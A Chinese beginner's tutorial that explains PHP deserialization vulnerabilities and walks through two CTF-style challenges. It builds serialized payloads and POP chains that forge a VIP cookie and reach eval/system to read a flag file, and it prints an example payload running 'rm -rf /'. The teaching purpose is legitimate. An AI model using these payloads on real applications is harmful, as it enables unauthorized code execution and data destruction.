完全纯小白,从基本名词,到理解反序列化漏洞原理,到pop链构造
一,定义
序列化:把内存中的“活”对象(数据),转换成字节流(或JSON、XML等文本格式),以便存储或传输。
反序列化:把字节流还原成内存中可用的对象。
二,具体化理解
首先需要理解:
序列化和反序列化的是对象的属性(相当于就是纯数据(包含属性名和属性值))不会序列化对象的类定义:方法(就是处理数据的函数),因为不会传输,保存在服务器
序列化后的结果就是“原始数据(内存对象)”和“二进制(网络/存储)”之间的“中间表示层”
方法(包含python,php,Java自带的和你定义的)
魔术方法一览表(知道有方法就行,用的时候在看具体用法)
生命周期阶段 | PHP | Python | Java |
对象诞生(构造) | __construct() | init() | 构造函数(类名同名) |
对象消亡(析构) | __destruct() | del() | finalize ()(不推荐) |
序列化前 | __sleep() | getstate() | writeObject() |
反序列化后 | __wakeup() | setstate() | readObject() |
当对象当字符串用 | __toString() | str() | toString() |
调用不存在的方法 | __call() | call() | 无(编译时检查) |
访问不存在的属性 | __get() / __set() | getattr() /setattr() | 无(编译时检查) |
把对象当函数调用 | __invoke() | call() | 无 |
克隆对象时 | __clone() | copy() | clone () 方法 |
第一层:网络传输时,数据长什么样?
序列化后的数据就是网络传输时的那一串"乱码"。
比如HTTP 请求,网络上跑的全部是字节流(0和1组成的二进制),或者为了提高可读性,转成 JSON/XML( 这两个只是对序列化后的不同呈现情况做了一个命名)文本格式。
举个例子(JSON 格式):
{"name":"张三","age":25,"hobbies":["篮球","编程"]}在内存里:这是一个对象(有 name、age、hobbies 属性,还有 getName() 等方法)。
流程
传输前:调用 json_encode()进行序列把它变成这串 JSON 字符串。
在网络上:这串字符串被转成二进制(01串),通过网线/光纤传到对方服务器。
对方收到后:调用 json_decode()进行反序列化把字符串还原成对象。
所以:序列化后的数据,就是网络传输时的载体。
第二层:反序列化后,"数据+方法=完整程序"吗?
答案是:"数据+方法=完整对象",但不等同于"完整程序"
让我们分三步拆解:
步骤1:反序列化还原了什么?
反序列化只还原了"数据"(属性值),不还原"方法"(函数代码)因为不传输,没有被序列化。
// 原始类定义(存在服务器的代码文件里) class User { public $name; //定义类 public $age; //定义类 //自己定义一个方法(函数)记住这个sayHello() public function sayHello() { echo "我是 " . $this->name; } } // 创建对象(根据图纸造出来的实物) $user = new User(); $user->name = "张三"; // 给属性赋值 $user->age = 25; // 给属性赋值 // 序列化后的数据(只包含属性,不包含方法)把$serialized理解为打包的这一坨数据的名字就行,方便调用数据 $serialized = 'O:4:"User":2:{s:4:"name";s:6:"张三";s:3:"age";i:25;}'; // 反序列化后 $obj = unserialize($serialized); //unserialize()是反序列化函数, //unserialize($serialized)就是反序列化后的值然后赋值给$obj //数据是下面这个,已经赋值给$obj了,后面写$obj就可以调用了 $user = new User(); $user->name = "张三"; $user->age = 25; //调用方法 $obj->sayHello(); // 输出:我是 张三 // $obj 可以调用 sayHello() 方法!前面你在服务器定义的那个关键点:反序列化出来的对象能调用方法,但方法本身不是从序列化数据里来的,而是来自服务器上已经存在的 User 类定义(代码文件)。
步骤2:"数据+方法=完整程序"为什么不对?
因为程序 = 类定义 + 对象状态 + 业务逻辑 + 依赖库 + 配置 + ...,不仅仅是"一个对象 + 它的方法"。
反序列化只是还原了一个对象的状态,而这个对象能调用的方法,只是整个程序里的一小部分。
步骤3:那序列化数据到底"传"了什么?
序列化数据只传输了"状态",不传输"行为"。
序列化数据包含 | 序列化数据不包含 |
属性值(name="张三", age=25) | 方法的源代码(function sayHello () 的代码)(就是函数源码) |
类型信息("这是 User 对象") | 类继承关系(User extends Person) |
引用关系(对象 A 引用了对象 B) | 静态变量、全局变量 |
简单数据结构(数组、字符串、数字) | 数据库连接、文件等资源 |
所以:
反序列化后的对象 = 数据(属性) + 方法的引用(指向类定义的指针)
它不是一个独立的程序,而是依赖于服务器上已经存在的类定义和运行环境的"半成品"。
第三层:为什么这个问题对"反序列化漏洞"特别重要?
因为黑客可以控制"数据",但控制不了"方法"!
这就是反序列化漏洞的核心攻击逻辑:
黑客无法修改服务器上的类定义(方法代码动不了)。
但黑客可以伪造序列化数据(随意修改属性值)。
当反序列化后,对象会调用服务器上的"危险方法"(比如 system(), exec(), eval())。
由于属性值被黑客污染了,这些危险方法执行了黑客想要的命令。
// 服务器上的类定义(黑客改不了) class Admin { public $cmd; public function execute() { // 自己定义一个危险方法execute() system($this->cmd); //打开操作系统的命令行解释器(Windows 是 cmd.exe,Linux 是 /bin/sh) } public function __destruct() { $this->execute(); // 对象销毁时自动调用 } } // 黑客构造的序列化数据(只改属性,不改方法) $serialized = 'O:5:"Admin":1:{s:3:"cmd";s:8:"rm -rf /";}'; // 服务器反序列化 $obj = unserialize($serialized); // 程序结束,__destruct 自动触发,$obj->execute() 被调用 // 执行了 system("rm -rf /") —— 服务器被删库!关键:黑客没有改 execute() 方法的代码(改不了),他只是把 $cmd 属性从 "ls -la" 改成了 "rm -rf /"。但方法执行时,用的是被污染的属性值。
先解释一个不带魔术方法得案例
<?php // 关闭所有PHP错误报告,防止敏感信息泄露 error_reporting(0); // 显示当前文件源码(用于代码审计) highlight_file(__FILE__); // 包含flag.php文件,其中定义$flag变量 include('flag.php'); /** * 定义ctfShowUser类 * 该类包含用户登录和VIP权限检查功能 */ class ctfShowUser{ // 用户名,默认值'xxxxxx' public $username='xxxxxx'; // 密码,默认值'xxxxxx' public $password='xxxxxx'; // VIP状态,默认false public $isVip=false; /** * 检查用户是否为VIP * @return bool 返回isVip属性值 */ public function checkVip(){ return $this->isVip; } /** * 用户登录验证 * @param string $u 用户名 * @param string $p 密码 * @return bool 用户名和密码是否完全匹配 */ public function login($u,$p){ return $this->username===$u && $this->password===$p; } /** * VIP一键获取flag功能 * 只有isVip为true时才会输出flag */ public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; // 引入全局变量$flag echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } } // 从GET参数获取用户名和密码 $username=$_GET['username']; $password=$_GET['password']; // 检查username和password是否都存在 if(isset($username) && isset($password)){ // 从Cookie中反序列化user对象 $user = unserialize($_COOKIE['user']); // 调用login方法验证用户名密码 if($user->login($username,$password)){ // 登录成功后检查VIP状态 if($user->checkVip()){ // 是VIP则输出flag $user->vipOneKeyGetFlag(); } }else{ // 登录失败提示 echo "no vip,no flag"; } }可以的看到第62行就有反序列化,同时第67行如果判断为真就会输出flag,所以我们要做的就是让判断为真,想要为真就是将对象默认的public $isVip=false;改为public $isVip=true;记住这段代码是在后端我们改不了,我们可以做的是传输条序列化的数据给程序,让他反序列化(对象实例化)的时候能够将默认的public $isVip=false;改为public $isVip=true;然后因为$user = unserialize($_COOKIE['user']); 反序列化的那段序列化值来自cookie,所以我们把我们的序列化数据放入cookie里面,及放在名为user的后面
cookie在网页中,按F12的应用程序里面
序列化后的那串字符串就是pop链
构造pop链
1,将源码复制过来(ctf中都是在白盒中,所以会给你源码,只是不能改)
2,用相关编辑器打开,将需要改的属性保留,其他删除,然后在后面加入
$a = new ctfShowUser();
echo urlencode(serialize($a));
将数据序列化并输出
<?php class ctfShowUser{ public $isVip = true; } $a = new ctfShowUser(); echo urlencode(serialize($a));然后在cookie中填入就行
最后看一个魔术方法,
<?php // 关闭所有PHP错误报告,防止敏感信息泄露 error_reporting(0); // 显示当前文件源码(用于代码审计) highlight_file(__FILE__); /** * 定义ctfShowUser类 - 主类 * 包含用户登录功能和析构方法 */ class ctfShowUser{ // 私有属性:用户名,默认'xxxxxx' private $username='xxxxxx'; // 私有属性:密码,默认'xxxxxx' private $password='xxxxxx'; // 私有属性:VIP状态,默认false private $isVip=false; // 私有属性:class对象,默认'info'字符串(但会在构造函数中被覆盖) private $class = 'info'; /** * 构造函数:实例化info类对象赋值给$class属性 */ public function __construct(){ $this->class=new info(); } /** * 用户登录验证方法 * @param string $u 用户名 * @param string $p 密码 * @return bool 用户名和密码是否完全匹配 */ public function login($u,$p){ return $this->username===$u && $this->password===$p; } /** * 析构函数:对象销毁时自动调用 * 调用$class对象的getInfo()方法 * 这是漏洞触发点 */ public function __destruct(){ $this->class->getInfo(); } } /** * info类 - 正常功能类 * 提供获取用户信息的功能 */ class info{ // 私有属性:用户名,默认'xxxxxx' private $user='xxxxxx'; /** * 获取用户信息方法 * @return string 返回用户名字符串 */ public function getInfo(){ return $this->user; } } /** * backDoor类 - 后门类(恶意类) * 提供代码执行功能 */ class backDoor{ // 私有属性:要执行的代码 private $code; /** * 执行代码的方法 * 使用eval执行$code属性中的代码 * 这是真正的漏洞利用点 */ public function getInfo(){ eval($this->code); } } // 从GET参数获取用户名和密码 $username=$_GET['username']; $password=$_GET['password']; // 检查username和password是否都存在 if(isset($username) && isset($password)){ // 从Cookie中反序列化user对象(漏洞点:用户可控) $user = unserialize($_COOKIE['user']); // 调用login方法验证用户名密码(但返回值未被使用) $user->login($username,$password); // 注意:脚本结束时会触发__destruct()析构方法 }这里就有两个魔术方法__construct()和__destruct()
这里可以看到第70行的class backDoor里面有一个public function getInfo()方法,这个方法里面可以用eval执行代码,那么我们让他执行system('tac flag.php');就可以直接让服务器读取出来,这是执行代码转换为了执行系统命令
所以要做两部分,第一要让程序执行getInfo()方法,第二呀让$this->code的值是system('tac flag.php')
一,触发getInfo()方法
在44行
public function __destruct(){ $this->class->getInfo(); }在程序结束时会进行这个,意思时让$this->class这个对象调用getInfo()方法
但是$this->class这个对象要为backDoor才行,因为对象默认为info,调用的getInfo()方法不会执行代码(61和79行两个不同的类里面都有getInfo()方法)
如何让对象为backDoor呢
用25行的魔术方法
public function __construct(){ $this->class=new info(); }将new info() 改为new backDoor就行了
在new ctfShowUser();的时候就会触发__construct()魔术方法
所以pop链构造如下
<?php class ctfShowUser { private $isVip = true; private $class = 'info'; public function __construct() { $this->class = new backDoor(); } } class backDoor { private $code = "system('tac flag.php');"; public function getInfo() { eval($this->code); } } $a = new ctfShowUser(); echo urlencode(serialize($a));22行 $a = new ctfShowUser(); 时 调用__construct()让$this->class = new backDoor();完成对象匹配
在new backDoor();时,完成$code = "system('tac flag.php');",属性值的匹配
